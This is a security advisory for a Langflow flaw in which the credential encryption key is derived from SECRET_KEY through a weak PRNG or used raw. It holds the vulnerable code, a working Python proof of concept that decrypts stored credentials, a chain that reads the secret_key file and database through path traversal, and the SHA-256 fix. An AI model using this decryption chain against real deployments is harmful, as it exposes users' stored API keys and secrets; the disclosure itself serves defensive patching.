| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| langflow | < 1.10.1 | 1.10.1 |
| langflow | ≥ 1.0.0, < 1.11.0 | 1.11.0 |
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the : The file is stored at — readable via the MCP path traversal vulnerability. Once exfiltrated:
これらの製品をお使いですか？サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンsecret_key/app/data/.cache/langflow/secret_keylen(secret_key) < 32: run random.seed(secret_key) → derive identical key → decrypt all credentials instantlylen(secret_key) >= 32: pad the key directly → decrypt all credentials instantlyNo brute force needed in either case once the file is read.
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db
SECRET_KEY = "DJMcAXyLbLrKRmPRTBNlJzY4gkbe3g1lyDgJ90c8p0E" # 43 chars → long branch
CIPHERTEXT = "gAAAAABpux-Gz_3PFcaPJF1aqZAUfB76OomPJ8rvp9Q8hKvBVG_GgvSIdWwgknXqO0rVUbfSiflKFp6wDdeU9uWy_sPsKPLBr_i5ZOPAAP2c5EKkx5vtc1M="
plaintext = decrypt_long_key(SECRET_KEY, CIPHERTEXT)
print(f"Decrypted credential: {plaintext}")
# Output: sk-test-SENTINEL-VALUE-12345
Confirmed on Langflow v1.7.3:
/app/.venv/lib/python3.12/site-packages/langflow/langflow.dbCredential-type variables found in the variable table"dummy" and "sk-test-SENTINEL-VALUE-12345"sk-test-SENTINEL-VALUE-12345) was stored via the API and immediately recovered from raw DB ciphertext using only the exfiltrated secret_keyEnd-to-end chain (with MCP path traversal):
# Step 1: Exfiltrate secret_key via MCP path traversal (no admin required, any authenticated user)
# Step 2: Query DB credentials via path traversal (SQLite file readable)
# Step 3: Decrypt offline — zero brute force, instant
python3 poc_decrypt.py "$SECRET_KEY" "$CIPHERTEXT"
# → all stored API keys revealed
All stored user credentials are at risk in any Langflow deployment where an attacker can read the secret_key file. Combined with the MCP path traversal vulnerability, this creates a complete remote credential exfiltration chain requiring only a low-privilege account:
SECRET_KEYIn multi-tenant or enterprise Langflow deployments, a single attacker account is sufficient to exfiltrate every credential stored by every user on the instance. The attack is fully offline after the two file reads (secret_key + database), leaving no server-side log traces.
Fixed in v1.10.1 by PR #13704 (commit 094694d3f2).
ensure_fernet_key() (src/backend/base/langflow/services/auth/utils.py) no longer seeds Python's non-cryptographic random module for short SECRET_KEY values. The 32-byte key is now derived deterministically with SHA-256:
def ensure_fernet_key(secret_key: str) -> bytes:
if len(secret_key) < MINIMUM_SECRET_KEY_LENGTH:
digest = hashlib.sha256(secret_key.encode()).digest() # 32 bytes
key = base64.urlsafe_b64encode(digest)
else:
key = add_base64_padding(secret_key).encode()
return key
Backward-compatible decryption of ciphertext written under the old PRNG-derived key is preserved via get_fernet_for_decryption(), which returns a MultiFernet trying the new SHA-256 key first and a legacy key second. The legacy key is reproduced with a local random.Random(secret_key) instance (not the global random module), so it can decrypt old data without ever being usable to derive new keys or mutating global PRNG state. All new encryption goes through the SHA-256 key only.
Affected versions: <= 1.10.0 Patched version: 1.10.1
Operator note: deployments running with a SECRET_KEY shorter than 32 characters derive a different Fernet key after upgrading to 1.10.1+ and must re-enter previously stored credentials (existing ciphertext is still readable for migration, but new writes use the new key). The default generated SECRET_KEY (secrets.token_urlsafe(32), 43 characters) takes the long-key branch and was never affected by the PRNG issue.